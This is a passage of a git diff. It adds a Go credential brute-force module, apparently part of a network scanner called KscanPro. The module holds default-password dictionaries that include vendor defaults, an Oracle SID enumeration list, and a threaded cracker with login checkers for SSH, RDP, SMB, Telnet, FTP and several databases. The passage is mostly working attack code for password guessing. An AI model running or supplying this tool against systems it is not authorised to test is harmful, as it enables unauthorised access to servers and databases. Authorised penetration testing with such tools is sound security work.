+ //"admin@123",
+ //"admin#123",
+ //"password",
+ //"12345",
+ //"1234",
+ //"123",
+ //"qwerty",
+ //"1q2w3e4r",
+ //"1qaz2wsx",
+ //"qazwsx",
+ //"123qwe",
+ //"123qaz",
+ //"1234567",
+ //"123456qwerty",
+ //"password123",
+ //"12345678",
+ //"1q2w3e",
+ //"abc123",
+ //"test123",
+ //"123456789",
+ //"q1w2e3r4",
+ //"0000",
+ //"root",
+ //"test",
+ //"okmnji",
+ //"postgres",
+ //"user",
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("admin", "admin"),
+ NewSpecialAuth("oracle", "oracle"),
+ NewSpecialAuth("postgres", "postgres"),
+ NewSpecialAuth("db2admin", "db2admin"),
+ NewSpecialAuth("defaultUsername", "defaultPassword"),
+ NewSpecialAuth("admin", "Admin@huawei"),
+ NewSpecialAuth("admin", "admin@huawei.com"),
+ NewSpecialAuth("admin", "admin"),
+ NewSpecialAuth("admin", "Admin@123"),
+ NewSpecialAuth("admin", "Changeme_123"),
+ NewSpecialAuth("admin", "Admin123"),
+ NewSpecialAuth("admin", "Changeme123"),
+ NewSpecialAuth("admin", "Admin@storage"),
+ NewSpecialAuth("admin", "eSight@123"),
+ NewSpecialAuth("admin", "Cis#BigData123"),
+ NewSpecialAuth("admin", "Huawei@123"),
+ NewSpecialAuth("LogAdmin", "Changeme123"),
+ NewSpecialAuth("SystemAdmin", "Changeme123"),
+ NewSpecialAuth("OperateAdmin", "Changeme123"),
+ NewSpecialAuth("administrator", "Changeme123"),
+ NewSpecialAuth("Administrator", "Admin@9000"),
+ NewSpecialAuth("Administrator", "Changeme@321"),
+ NewSpecialAuth("api-admin", "admin@123"),
+ NewSpecialAuth("root", "admin123"),
+ NewSpecialAuth("root", "mduadmin"),
+ NewSpecialAuth("root", "Changeme_123"),
+ NewSpecialAuth("root", "admin"),
+ NewSpecialAuth("root", "adminHW"),
+ NewSpecialAuth("root", "password"),
+ NewSpecialAuth("root", "Huawei12#$"),
+ NewSpecialAuth("root", "Changeme@321"),
+ NewSpecialAuth("root", "Changeme123"),
+ NewSpecialAuth("sa", "Changeme123"),
+ }
+ return a
+}
diff --git a/core/hydra/defuault_mongodb_authlist.go b/core/hydra/defuault_mongodb_authlist.go
new file mode 100644
index 0000000..949974d
--- /dev/null
+++ b/core/hydra/defuault_mongodb_authlist.go
@@ -0,0 +1,88 @@
+package hydra
+
+func DefaultMongodbList() *AuthList {
+ a := NewAuthList()
+ a.Username = []string{
+ "admin",
+ "test",
+ //"user",
+ //"root",
+ //"manager",
+ //"webadmin",
+ }
+ a.Password = []string{
+ "",
+ "1",
+ "123456",
+ "zaq1@WSX",
+ "%user%",
+ "%user%123",
+ "abc123",
+ //"%user%1234",
+ //"%user%123456",
+ //"%user%12345",
+ //"%user%@123",
+ //"%user%@123456",
+ //"%user%@12345",
+ //"%user%#123",
+ //"%user%#123456",
+ //"%user%#12345",
+ //"%user%_123",
+ //"%user%_123456",
+ //"%user%_12345",
+ //"%user%123!@#",
+ //"%user%!@#$",
+ //"%user%!@#",
+ //"%user%~!@",
+ //"%user%!@#123",
+ //"%user%2022",
+ //"%user%2021",
+ //"%user%2020",
+ //"%user%2019",
+ //"%user%2018",
+ //"%user%2017",
+ //"%user%2016",
+ //"%user%2015",
+ //"%user%@2017",
+ //"%user%@2016",
+ //"%user%@2015",
+ //"qweasdzxc",
+ //"Passw0rd",
+ //"password",
+ //"12345",
+ //"1234",
+ //"123",
+ //"qwerty",
+ //"1q2w3e4r",
+ //"1qaz2wsx",
+ //"qazwsx",
+ //"123qwe",
+ //"123qaz",
+ //"1234567",
+ //"123456qwerty",
+ //"password123",
+ //"12345678",
+ //"1q2w3e",
+ //"abc123",
+ //"test123",
+ //"123456789",
+ //"q1w2e3r4",
+ //"admin123!@#",
+ //"admin",
+ //"admin123",
+ //"admin@123",
+ //"admin#123",
+ //"0000",
+ //"root",
+ //"test",
+ //"okmnji",
+ //"postgres",
+ //"user",
+ }
+ a.Special = []Auth{
+ NewSpecialAuth("", ""),
+ NewSpecialAuth("simpleUser", "simplePass"),
+ NewSpecialAuth("adminUser", "adminPass"),
+ }
+ return a
+}
diff --git a/core/hydra/ftp/ftp.go b/core/hydra/ftp/ftp.go
new file mode 100644
index 0000000..3b4826b
--- /dev/null
+++ b/core/hydra/ftp/ftp.go
@@ -0,0 +1,20 @@
+package ftp
+
+import (
+ "fmt"
+ "github.com/jlaffaye/ftp"
+ "time"
+)
+
+func Check(Host, Username, Password string, Port int) error {
+ conn, err := ftp.DialTimeout(fmt.Sprintf("%s:%d", Host, Port), 5*time.Second)
+ if err != nil {
+ return err
+ }
+ defer conn.Logout()
+ err = conn.Login(Username, Password)
+ if err != nil {
+ return err
+ }
+ return nil
+}
diff --git a/core/hydra/hydra.go b/core/hydra/hydra.go
new file mode 100644
index 0000000..6c16ded
--- /dev/null
+++ b/core/hydra/hydra.go
@@ -0,0 +1,226 @@
+package hydra
+
+import (
+ "KscanPro/core/hydra/oracle"
+ "KscanPro/lib/gotelnet"
+ "KscanPro/lib/misc"
+ "errors"
+ "github.com/lcvvvv/pool"
+ "strings"
+ "sync/atomic"
+ "time"
+)
+
+type Cracker struct {
+ Pool *pool.Pool
+ authList *AuthList
+ authInfo *AuthInfo
+
+ retries int
+
+ SuccessCount int32
+ SuccessAuth Auth
+}
+
+func init() {
+ InitDefaultAuthMap()
+}
+
+func InitDefaultAuthMap() {
+ m := make(map[string]*AuthList)
+ m["rdp"] = DefaultRdpList()
+ m["ssh"] = DefaultSshList()
+ m["mysql"] = DefaultMysqlList()
+ m["mssql"] = DefaultMssqlList()
+ m["oracle"] = DefaultOracleList()
+ m["postgresql"] = DefaultPostgresqlList()
+ m["redis"] = DefaultRedisList()
+ m["ftp"] = DefaultFtpList()
+ m["mongodb"] = DefaultMongodbList()
+ m["smb"] = DefaultSmbList()
+ m["telnet"] = DefaultTelnetList()
+ DefaultAuthMap = m
+}
+
+type loginType string
+
+const (
+ ProtocolInvalid loginType = "ProtocolInvalid"
+ UsernameAndPassword = "UsernameAndPassword"
+ OnlyPassword = "OnlyPassword"
+ UnauthorizedAccessVulnerability = "UnauthorizedAccessVulnerability"
+)
+
+var (
+ DefaultAuthMap map[string]*AuthList
+ CustomAuthMap *AuthList
+ ProtocolList = []string{
+ "ssh", "rdp", "ftp", "smb", "telnet",
+ "mysql", "mssql", "oracle", "postgresql", "mongodb", "redis", "web",
+ //110: "pop3",
+ //995: "pop3",
+ //25: "smtp",
+ //994: "smtp",
+ //143: "imap",
+ //993: "imap",
+ //389: "ldap",
+ //23: "telnet",
+ //50000: "db2",
+ }
+ LoginFailedErr = errors.New("login failed")
+ ProtocolErr = errors.New("protocol error")
+)
+
+func NewCracker(info *AuthInfo, isAuthUpdate bool, threads int) *Cracker {
+ c := &Cracker{}
+ c.retries = 3
+ c.Pool = pool.New(threads)
+ c.authInfo = info
+ c.authList = func() *AuthList {
+ list := DefaultAuthMap[c.authInfo.Protocol]
+ if isAuthUpdate {
+ list.Merge(CustomAuthMap)
+ return list
+ }
+ if CustomAuthMap.IsEmpty() == false {
+ list.Replace(CustomAuthMap)
+ return list
+ }
+ return list
+ }()
+ c.Pool.Interval = time.Second * 1
+ return c
+}
+
+func (c *Cracker) Retries(i int) {
+ if i <= 0 {
+ return
+ }
+ c.retries = i
+}
+
+func (c *Cracker) success(info Auth) {
+ c.SuccessAuth = info
+ atomic.AddInt32(&c.SuccessCount, 1)
+}
+
+func (c *Cracker) Run() (*Auth, error) {
+ switch c.initJobFunc() {
+ case ProtocolInvalid:
+ return nil, ProtocolErr
+ case UsernameAndPassword:
+ go c.dispatcher(false)
+ case OnlyPassword:
+ go c.dispatcher(true)
+ case UnauthorizedAccessVulnerability:
+ return &UnauthorizedAccessVulnerabilityAuth, nil
+ }
+ //开始暴力破解
+ c.Pool.Run()
+ switch {
+ case c.SuccessCount == 0:
+ return nil, LoginFailedErr
+ case c.SuccessCount <= 3:
+ return &c.SuccessAuth, nil
+ default:
+ return nil, ProtocolErr
+ }
+}
+
+func (c *Cracker) initJobFunc() loginType {
+ ip := c.authInfo.IPAddr
+ port := c.authInfo.Port
+ //选择暴力破解函数
+ switch c.authInfo.Protocol {
+ case "rdp":
+ c.Pool.Function = c.generateWorker(rdpCracker(ip, port))
+ case "mysql":
+ c.Pool.Function = c.generateWorker(mysqlCracker)
+ case "mssql":
+ c.Pool.Function = c.generateWorker(mssqlCracker)
+ case "oracle":
+ //若SID未知,则不进行后续暴力破解
+ sid := oracle.GetSID(ip, port, oracle.ServiceName)
+ if sid == "" {
+ return ProtocolInvalid
+ }
+ c.Pool.Function = c.generateWorker(oracleCracker(sid))
+ case "postgresql":
+ c.Pool.Function = c.generateWorker(postgresqlCracker)
+ case "ssh":
+ c.Pool.Function = c.generateWorker(sshCracker)
+ case "telnet":
+ serverType := getTelnetServerType(ip, port)
+ if serverType == gotelnet.UnauthorizedAccess {
+ auth := NewAuth()
+ auth.Other["Status"] = "UnauthorizedAccess"
+ c.success(auth)
+ return ProtocolInvalid
+ }
+ c.Pool.Function = c.generateWorker(telnetCracker(serverType))
+ if serverType == gotelnet.OnlyPassword {
+ return OnlyPassword
+ }
+ case "ftp":
+ c.Pool.Function = c.generateWorker(ftpCracker)
+ case "mongodb":
+ c.Pool.Function = c.generateWorker(mongodbCracker)
+ case "redis":
+ c.Pool.Function = c.generateWorker(redisCracker)
+ return OnlyPassword
+ case "smb":
+ c.Pool.Function = c.generateWorker(smbCracker)
+ default:
+ return ProtocolInvalid
+ }
+ return UsernameAndPassword
+}
+
+func (c *Cracker) generateWorker(f func(interface{}) error) func(interface{}) {
+ return func(in interface{}) {
+ for j := 0; j < c.retries; j++ {
+ info := in.(AuthInfo)
+ info.Auth.MakePassword()
+ err := f(info)
+ if err == nil {
+ info.Status = true
+ c.success(info.Auth)
+ break
+ }
+ if strings.Contains(err.Error(), "timeout") == true {
+ continue
+ }
+ if strings.Contains(err.Error(), "EOF") == true {
+ continue
+ }
+ break
+ }
+ }
+}
+
+// 分发器
+func (c *Cracker) dispatcher(onlyPassword bool) {
+ for _, auth := range c.authList.Dict(onlyPassword) {
+ if c.SuccessCount > 0 {
+ break
+ }
+ info := *c.authInfo
+ info.Auth = auth
+ c.Pool.Push(info)
+ }
+ //关闭信道
+ c.Pool.Stop()
+}
+
+func InitCustomAuthMap(user, pass []string) {
+ CustomAuthMap = NewAuthList()
+ CustomAuthMap.Username = user
+ CustomAuthMap.Password = pass
+}
+
+func Ok(protocol string) bool {
+ if misc.IsDuplicate(ProtocolList, protocol) {
+ return true
+ }
+ return false
+}
diff --git a/core/hydra/mongodb/mongodb.go b/core/hydra/mongodb/mongodb.go
new file mode 100644
index 0000000..9caa4eb
--- /dev/null
+++ b/core/hydra/mongodb/mongodb.go
@@ -0,0 +1,27 @@
+package mongodb
+
+import (
+ "context"
+ "fmt"
+ "go.mongodb.org/mongo-driver/mongo"
+ "go.mongodb.org/mongo-driver/mongo/options"
+ "go.mongodb.org/mongo-driver/mongo/readpref"
+ "time"
+)
+
+func Check(Host, Username, Password string, Port int) error {
+ dataSourceName := fmt.Sprintf("mongodb://%v:%v@%v:%v/?authMechanism=SCRAM-SHA-1", Username, Password, Host, Port)
+ ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+ defer cancel()
+ // 建立mongodb连接
+ client, err := mongo.Connect(ctx, options.Client().ApplyURI(dataSourceName))
+ if err != nil {
+ return err
+ }
+ defer client.Disconnect(ctx)
+ err = client.Ping(ctx, readpref.Primary())
+ if err != nil {
+ return err
+ }
+ return nil
+}
diff --git a/core/hydra/mssql/mssql.go b/core/hydra/mssql/mssql.go
new file mode 100644
index 0000000..3ffa70c
--- /dev/null
+++ b/core/hydra/mssql/mssql.go
@@ -0,0 +1,28 @@
+package mssql
+
+import (
+ "database/sql"
+ "fmt"
+ _ "github.com/denisenkom/go-mssqldb"
+ mssql "github.com/denisenkom/go-mssqldb"
+ "io"
+ "log"
+ "time"
+)
+
+func Check(Host, Username, Password string, Port int) error {
+ mssql.SetLogger(log.New(io.Discard, "", log.Ldate|log.Ltime))
+ dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, 5*time.Second)
+ db, err := sql.Open("mssql", dataSourceName)
+ if err != nil {
+ return err
+ }
+ db.SetConnMaxLifetime(5 * time.Second)
+ db.SetMaxIdleConns(0)
+ defer db.Close()
+ err = db.Ping()
+ if err != nil {
+ return err
+ }
+ return nil
+}
diff --git a/core/hydra/mysql/mysql.go b/core/hydra/mysql/mysql.go
new file mode 100644
index 0000000..28e033c
--- /dev/null
+++ b/core/hydra/mysql/mysql.go
@@ -0,0 +1,28 @@
+package mysql
+
+import (
+ "database/sql"
+ "fmt"
+ "github.com/go-sql-driver/mysql"
+ _ "github.com/go-sql-driver/mysql"
+ "io"
+ "log"
+ "time"
+)
+
+func Check(Host, Username, Password string, Port int) error {
+ _ = mysql.SetLogger(log.New(io.Discard, "", log.Ldate|log.Ltime))
+ dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/information_schema?charset=utf8&timeout=%v", Username, Password, Host, Port, 5*time.Second)
+ db, err := sql.Open("mysql", dataSourceName)
+ if err != nil {
+ return err
+ }
+ db.SetConnMaxLifetime(5 * time.Second)
+ db.SetMaxIdleConns(0)
+ defer db.Close()
+ err = db.Ping()
+ if err != nil {
+ return err
+ }
+ return nil
+}
diff --git a/core/hydra/oracle/oracle.go b/core/hydra/oracle/oracle.go
new file mode 100644
index 0000000..c95c964
--- /dev/null
+++ b/core/hydra/oracle/oracle.go
@@ -0,0 +1,141 @@
+package oracle
+
+import (
+ "KscanPro/core/slog"
+ "database/sql"
+ "errors"
+ "fmt"
+ _ "github.com/sijms/go-ora/v2"
+ "io"
+ "strings"
+ "time"
+)
+
+var ServiceName = []string{
+ "orcl", "XE", "TEST", "RIS", "HIS", "PACS", "ORACLE", "ORACLE10", "ORACLE11", "ORACLEDB",
+ "ORA10", "ORA11", "orcl3", "orcl.3", "orcl.1", "LINUX8174", "ASDB", "IASDB", "OEMREP", "CLREXTPROC",
+ "SA0", "PLSEXTPROC", "SA1", "SA2", "SA3", "SA4", "SA5", "SA6", "SA7", "SA8",
+ "SA9", "SAA", "SAB", "SAC", "SAD", "SAE", "SAF", "SAG", "SAH", "SAI",
+ "SAJ", "SAK", "SAL", "SAM", "SAN", "SAO", "SAP", "SAQ", "SAR", "SAS",
+ "SAT", "SAU", "SAV", "SAW", "SAX", "SAY", "SAZ", "IXOS", "CTM4_0", "CTM4_1",
+ "CTM4_6", "ARIS", "MSAM", "ADV1", "ADVCPROD", "ASDB0", "ASDB1", "ASDB2", "ASDB3", "ASDB4",
+ "ASDB5", "ASDB6", "ASDB7", "ASDB8", "ASDB9", "ASG817", "ASG817P", "ASG817T", "ATRPROD", "ATRTEST",
+ "BLA", "BUDGET", "C630", "D", "D10", "D8", "D9", "DB", "DB01", "DB02",
+ "DB03", "DB1", "DB2", "DB2EDU", "DB2PROD", "DB2TEST", "DB3", "DBA", "DBA1", "DBA2",
+ "DBA3", "DBA4", "DBA5", "DBA6", "DBA7", "DBA8", "DBA9", "DBX", "DEMO", "DEV",
+ "DEV0", "DEV1", "DEV2", "DEV3", "DEV4", "DEV5", "DEV6", "DEV7", "DEV8", "DEV9",
+ "DEVEL", "DIA1", "DIA2", "DIS", "DWH", "DWHPROD", "DWHTEST", "DWRHS", "ELCARO", "EMRS2",
+ "EOF", "ESOR", "FINDEC", "FINPROD", "FNDFS_HR1", "FNDFS_HR2", "FPRD", "GR01", "GR02", "GR03",
+ "HR", "HR0", "HR1", "HR2", "HR3", "HR4", "HR5", "HR6", "HR7", "HR8",
+ "HR9", "HRDMO", "INCD", "ISD01", "ISD06", "ISP01", "ITS", "KRAUS", "KRONOS", "LDAP",
+ "LINUX101", "LINUX1011", "LINUX1012", "LINUX1013", "LINUX1014", "LINUX102", "LINUX1021", "LINUX817", "LINUX8171", "LINUX8172",
+ "LINUX8173", "LINUX901", "LINUX902", "LINUX9021", "LINUX9022", "LINUX9023", "LINUX9024", "LINUX9025", "LINUX9026", "LINUX9027",
+ "LUN", "MDTEST", "MYDB", "NEDB", "NORTHWIND", "ODB", "OGDP", "OID", "OJS", "OMS",
+ "ORA1", "ORA101", "ORA10101", "ORA10101P", "ORA10101T", "ORA10102", "ORA10102P", "ORA10102T", "ORA10103", "ORA10103P",
+ "ORA10103T", "ORA10104", "ORA10104P", "ORA10104T", "ORA10105", "ORA10105P", "ORA10105T", "ORA1011", "ORA1011P", "ORA1011T",
+ "ORA1012", "ORA1012P", "ORA1012T", "ORA1013", "ORA1013P", "ORA1013T", "ORA1014", "ORA1014P", "ORA1014T", "ORA1015",
+ "ORA1015P", "ORA1015T", "ORA1021", "ORA1021P", "ORA1021T", "ORA1022", "ORA1022P", "ORA1022T", "ORA2", "ORA8",
+ "ORA805", "ORA806", "ORA815", "ORA816", "ORA817", "ORA8170", "ORA8170P", "ORA8170T", "ORA8171", "ORA8171P",
+ "ORA8171T", "ORA8172", "ORA8172P", "ORA8172T", "ORA8173", "ORA8173P", "ORA8173T", "ORA8174", "ORA8174P", "ORA8174T",
+ "ORA8_SC", "ORA910", "ORA920", "ORA9201", "ORA9201P", "ORA9201T", "ORA9202", "ORA9202P", "ORA9202T", "ORA9203",
+ "ORA9203P", "ORA9203T", "ORA9204", "ORA9204P", "ORA9204T", "ORA9205", "ORA9205P", "ORA9205T", "ORA9206", "ORA9206P",
+ "ORA9206T", "ORA9207", "ORA9207P", "ORA9207T", "ORACL", "ORADB", "ORADB1", "ORADB2", "ORADB3", "ORALIN",
+ "orcl0", "orcl1", "orcl10", "orcl2", "orcl4", "orcl5", "orcl6", "orcl7", "orcl8", "orcl9",
+ "orclA", "orclB", "orclC", "orclD", "orclE", "orclF", "orclG", "orclH", "orclI", "orclJ",
+ "orclK", "orclL", "orclM", "orclN", "orclO", "orclP", "orclP0", "orclP1", "orclP2", "orclP3",
+ "orclP4", "orclP5", "orclP6", "orclP7", "orclP8", "orclP9", "orclQ", "orclR", "orclS", "orclSOL",
+ "orclT", "orclU", "orclV", "orclW", "orclX", "orclY", "orclZ", "ORIONDB", "ORTD", "P",
+ "P10", "P10G", "P8", "P8I", "P9", "P9I", "PD1", "PINDB", "PORA10101", "PORA10102",
+ "PORA10103", "PORA10104", "PORA10105", "PORA1011", "PORA1012", "PORA1013", "PORA1014", "PORA1015", "PORA1021", "PORA1022",
+ "PORA8170", "PORA8171", "PORA8172", "PORA8173", "PORA8174", "PORA9201", "PORA9202", "PORA9203", "PORA9204", "PORA9205",
+ "PORA9206", "PORA9207", "PRD", "PRITXI", "PROD", "PROD0", "PROD1", "PROD10G", "PROD2", "PROD3",
+ "PROD4", "PROD5", "PROD6", "PROD7", "PROD8", "PROD8I", "PROD9", "PROD920", "PROD9I", "PROG10",
+ "RAB1", "RAC", "RAC1", "RAC2", "RAC3", "RAC4", "RECV", "REP", "REP0", "REP1",
+ "REP2", "REP3", "REP4", "REP5", "REP6", "REP7", "REP8", "REP9", "REPO", "REPO0",
+ "REPO1", "REPO2", "REPO3", "REPO4", "REPO5", "REPO6", "REPO7", "REPO8", "REPO9", "REPOS",
+ "REPOS0", "REPOS1", "REPOS2", "REPOS3", "REPOS4", "REPOS5", "REPOS6", "REPOS7", "REPOS8", "REPOS9",
+ "RIPPROD", "RITCTL", "RITDEV", "RITPROD", "RITQA", "RITTRN", "RITTST", "SALES", "SAMPLE", "SANIPSP",
+ "SAP0", "SAP1", "SAP2", "SAP3", "SAP4", "SAP5", "SAP6", "SAP7", "SAP8", "SAP9",
+ "SAPHR", "SGNT", "SID0", "SID1", "SID2", "SID3", "SID4", "SID5", "SID6", "SID7",
+ "SID8", "SID9", "STAG1", "STAG2", "T1", "T10", "T101", "T102", "T2", "T3",
+ "T4", "T7", "T71", "T72", "T73", "T8", "T80", "T81", "T82", "T9",
+ "T91", "T92", "TEST10G", "THUMPER", "TRC28", "TRIUMF", "TSH1", "TST", "TST0", "TST1",
+ "TST2", "TST3", "TST4", "TST5", "TST6", "TST7", "TST8", "TST9", "TYCP", "UNIX101",
+ "UNIX1011", "UNIX1012", "UNIX1013", "UNIX1014", "UNIX102", "UNIX1021", "UNIX817", "UNIX8171", "UNIX8172", "UNIX8173",
+ "UNIX8174", "UNIX901", "UNIX902", "UNIX9021", "UNIX9022", "UNIX9023", "UNIX9024", "UNIX9025", "UNIX9026", "UNIX9027",
+ "VENOM", "VENU", "VISTA", "W101", "W1011", "W1012", "W1013", "W1014", "W102", "W1021",
+ "W817", "W8171", "W8172", "W8173", "W8174", "W901", "W902", "W9021", "W9022", "W9023",
+ "W9024", "W9025", "W9026", "W9027", "WG73", "WIN101", "WIN1011", "WIN1012", "WIN1013", "WIN1014",
+ "WIN102", "WIN1021", "WIN817", "WIN8171", "WIN8172", "WIN8173", "WIN8174", "WIN901", "WIN902", "WIN9021",
+ "WIN9022", "WIN9023", "WIN9024", "WIN9025", "WIN9026", "WIN9027", "WINDOWS101", "WINDOWS1011", "WINDOWS1012", "WINDOWS1013",
+ "WINDOWS1014", "WINDOWS102", "WINDOWS1021", "WINDOWS817", "WINDOWS8171", "WINDOWS8172", "WINDOWS8173", "WINDOWS8174", "WINDOWS901", "WINDOWS902",
+ "WINDOWS9021", "WINDOWS9022", "WINDOWS9023", "WINDOWS9024", "WINDOWS9025", "WINDOWS9026", "WINDOWS9027", "XEXDB", "XE_XPT", "HSAGENT",
+}
+
+func Check(Host, Username, Password string, Port int, SID string) error {
+ var db *sql.DB
+ var err error
+ dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%d/%s", Username, Password, Host, Port, SID)
+ db, err = sql.Open("oracle", dataSourceName)
+ if err != nil {
+ return err
+ }
+ defer db.Close()
+ db.SetConnMaxLifetime(5 * time.Second)
+ db.SetMaxIdleConns(0)
+ err = db.Ping()
+ if err == nil {
+ return nil
+ }
+ if strings.Contains(err.Error(), "ORA-28009") {
+ return nil
+ }
+ return err
+}
+
+func GetSID(Host string, Port int, sids []string) string {
+ for _, sid := range sids {
+ if CheckSID(sid, Host, Port) {
+ return sid
+ }
+ }
+ return ""
+}
+
+func CheckSID(sid, Host string, Port int) bool {
+ dataSourceName := fmt.Sprintf("oracle://sid:sid@%s:%d/%s", Host, Port, sid)
+ db, err := sql.Open("oracle", dataSourceName)
+ if err != nil {
+ return false
+ }
+ db.SetConnMaxLifetime(3 * time.Second)
+ db.SetMaxIdleConns(0)
+ defer func() {
+ if e := recover(); e != nil {
+ err = errors.New(fmt.Sprint("sid check failed: ", Host, e))
+ slog.Println(slog.DEBUG, err, e)
+ }
+ }()
+
+ err = db.Ping()
+ if err == nil || err == io.EOF {
+ db.Close()
+ return true
+ }
+ if strings.Contains(err.Error(), "ORA-") == false {
+ return false
+ }
+ if strings.Contains(err.Error(), "ORA-12505") {
+ return false
+ }
+ if strings.Contains(err.Error(), "ORA-12504") {
+ return false
+ }
+ if strings.Contains(err.Error(), "ORA-12514") {
+ return false
+ }
+ if strings.Contains(err.Error(), "ORA-12564") {
+ return false
+ }
+ return true
+}
diff --git a/core/hydra/oracle/oracle_test.go b/core/hydra/oracle/oracle_test.go
new file mode 100644
index 0000000..469997e
--- /dev/null
+++ b/core/hydra/oracle/oracle_test.go
@@ -0,0 +1,27 @@
+package oracle
+
+import (
+ "database/sql"
+ "fmt"
+ "testing"
+ "time"
+)
+
+func TestGetSID(t *testing.T) {
+ target := []string{""}
+ for _, ip := range target {
+ sid := GetSID(ip, 1521, ServiceName)
+ if sid != "" {
+ fmt.Println(ip, "\t", sid)
+ }
+ }
+
+}
+
+func TestConnect(t *testing.T) {
+ dataSourceName := fmt.Sprintf("oracle://sid:sid@%s:%d/?SID=%s", "192.168.100.11", 1521, "orcl")
+ db, _ := sql.Open("oracle", dataSourceName)
+ db.SetConnMaxLifetime(3 * time.Second)
+ db.SetMaxIdleConns(0)
+ fmt.Println(db.Ping())
+}
diff --git a/core/hydra/postgresql/postgresql.go b/core/hydra/postgresql/postgresql.go
new file mode 100644
index 0000000..fc42568
--- /dev/null
+++ b/core/hydra/postgresql/postgresql.go
@@ -0,0 +1,23 @@
+package postgresql
+
+import (
+ "database/sql"
+ "fmt"
+ _ "github.com/lib/pq"
+ "time"
+)
+
+func Check(Host, Username, Password string, Port int) error {
+ dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
+ db, err := sql.Open("postgres", dataSourceName)
+ if err != nil {
+ return err
+ }
+ db.SetConnMaxLifetime(5 * time.Second)
+ defer db.Close()
+ err = db.Ping()
+ if err != nil {
+ return err
+ }
+ return nil
+}
diff --git a/core/hydra/rdp/grdp.go b/core/hydra/rdp/grdp.go
new file mode 100644
index 0000000..1145d05
--- /dev/null
+++ b/core/hydra/rdp/grdp.go
@@ -0,0 +1,23 @@
+package rdp
+
+import (
+ "KscanPro/lib/grdp"
+ "fmt"
+)
+
+func Check(ip, domain, login, password string, port int, protocol string) error {
+ var err error
+ target := fmt.Sprintf("%s:%d", ip, port)
+ if protocol == grdp.PROTOCOL_SSL {
+ err = grdp.LoginForSSL(target, domain, login, password)
+ } else {
+ err = grdp.LoginForRDP(target, domain, login, password)
+ }
+ //err = grdp.Login(target, domain, login, password)
+ //slog.Println(slog.INFO, target, domain, login, password)
+ //slog.Println(slog.INFO, err)
+ if err != nil {
+ return err
+ }
+ return nil
+}
diff --git a/core/hydra/redis/redis.go b/core/hydra/redis/redis.go
new file mode 100644
index 0000000..66e6ce5
--- /dev/null
+++ b/core/hydra/redis/redis.go
@@ -0,0 +1,50 @@
+package redis
+
+import (
+ "errors"
+ "fmt"
+ "net"
+ "strings"
+ "time"
+)
+
+func Check(Host, Password string, Port int) error {
+ netloc := fmt.Sprintf("%s:%d", Host, Port)
+ conn, err := net.DialTimeout("tcp", netloc, 5*time.Second)
+ if err != nil {
+ return err
+ }
+ defer conn.Close()
+ err = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
+ if err != nil {
+ return err
+ }
+ _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", Password)))
+ time.Sleep(time.Millisecond * 500)
+ if err != nil {
+ return err
+ }
+ reply, err := readResponse(conn)
+ if err != nil {
+ return err
+ }
+ if strings.Contains(reply, "+OK") == false {
+ return errors.New("login failed")
+ }
+ return nil
+}
+
+func readResponse(conn net.Conn) (r string, err error) {
+ buf := make([]byte, 4096)
+ for {
+ count, err := conn.Read(buf)
+ if err != nil {
+ break
+ }
+ r += string(buf[0:count])
+ if count < 4096 {
+ break
+ }
+ }
+ return r, err
+}
diff --git a/core/hydra/smb/smb.go b/core/hydra/smb/smb.go
new file mode 100644
index 0000000..18cf9e1
--- /dev/null
+++ b/core/hydra/smb/smb.go
@@ -0,0 +1,49 @@
+package smb
+
+import (
+ "context"
+ "errors"
+ "github.com/stacktitan/smb/smb"
+ "time"
+)
+
+var (
+ LoginFailedError = errors.New("login failed")
+ LoginTimeoutError = errors.New("login timeout")
+)
+
+func Check(Host, Username, Domain, Password string, Port int) error {
+ status := make(chan error)
+ ctx, cancel := context.WithTimeout(context.Background(), time.Second*5)
+ defer cancel()
+ options := smb.Options{
+ Host: Host,
+ Port: Port,
+ User: Username,
+ Password: Password,
+ Domain: Domain,
+ Workstation: "",
+ }
+ //开始进行SMB连接
+ go func() {
+ session, err := smb.NewSession(options, false)
+ if err != nil {
+ status <- err
+ return
+ }
+ defer session.Close()
+ if session.IsAuthenticated == false {
+ status <- LoginFailedError
+ return
+ }
+ status <- nil
+ }()
+
+ select {
+ case <-ctx.Done():
+ return LoginTimeoutError
+ case err := <-status:
+ return err
+ }
+
+}
diff --git a/core/hydra/smb/smb_test.go b/core/hydra/smb/smb_test.go
new file mode 100644
index 0000000..f211483
--- /dev/null
+++ b/core/hydra/smb/smb_test.go
@@ -0,0 +1,11 @@
+package smb
+
+import (
+ "fmt"
+ "testing"
+)
+
+func TestCheck(t *testing.T) {
+ err := Check("192.168.0.2", "administrator", "workgroup", "123456", 445)
+ fmt.Println(err)
+}
diff --git a/core/hydra/ssh/ssh.go b/core/hydra/ssh/ssh.go
new file mode 100644
index 0000000..934adbc
--- /dev/null
+++ b/core/hydra/ssh/ssh.go
@@ -0,0 +1,26 @@
+package ssh
+
+import (
+ "fmt"
+ "golang.org/x/crypto/ssh"
+ "net"
+ "time"
+)
+
+func Check(Host, Username, Password string, Port int) error {
+ var Auth = []ssh.AuthMethod{ssh.Password(Password)}
+ config := &ssh.ClientConfig{
+ User: Username,
+ Auth: Auth,
+ Timeout: 3 * time.Second,
+ HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
+ return nil
+ },
+ }
+ client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", Host, Port), config)
+ if err != nil {
+ return err
+ }
+ defer client.Close()
+ return nil
+}
diff --git a/core/hydra/telnet/telnet.go b/core/hydra/telnet/telnet.go
new file mode 100644
index 0000000..e1b5072
--- /dev/null
+++ b/core/hydra/telnet/telnet.go
@@ -0,0 +1,22 @@
+package telnet
+
+import (
+ "KscanPro/lib/gotelnet"
+)
+
+func Check(addr, username, password string, port, serverType int) error {
+ client := gotelnet.New(addr, port)
+ err := client.Connect()
+ if err != nil {
+ return err
+ }
+ defer client.Close()
+ client.UserName = username
+ client.Password = password
+ client.ServerType = serverType
+ err = client.Login()
+ if err != nil {
+ return err
+ }
+ return nil
+}
diff --git a/core/hydra/type-auth.go b/core/hydra/type-auth.go
new file mode 100644
index 0000000..2516b95
--- /dev/null
+++ b/core/hydra/type-auth.go
